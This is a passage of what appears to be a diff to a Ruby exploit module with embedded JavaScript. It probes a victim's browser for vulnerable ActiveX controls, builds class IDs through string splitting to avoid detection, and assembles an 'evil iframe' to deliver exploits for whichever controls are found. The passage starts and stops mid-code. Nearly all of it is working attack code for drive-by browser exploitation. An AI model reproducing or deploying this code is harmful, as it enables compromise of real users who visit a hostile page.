"); + if (obj_elem) { + obj_elem.setAttribute("cl" + "as" + "sid", "cl" + "s" + "id" +":" + current_item.substring( 1, current_item.length - 1 ) ) ; + //document.write("bug1?
"); + obj_elem.setAttribute("id", current_item); + //document.write("bug2?
"); + vuln_obj = document.getElementById(current_item); + //document.write("bug4?
"); + } else { + document.write("createElement failed
"); + } + } else { + document.write("which is an AXO
"); + // otherwise, try to create an AXO with that name + try { + vuln_obj = new ActiveXObject(current_item); + } catch(e){} + } + if (vuln_obj) { + //document.write("It exists, making evil iframe
"); + //sploit_frame += '#{build_iframe("' + object_list.items[current_item] + '")}'; + sploit_frame += '

' + object_list.items[current_item] + '

'; + sploit_frame += '" + end end end -=begin -=end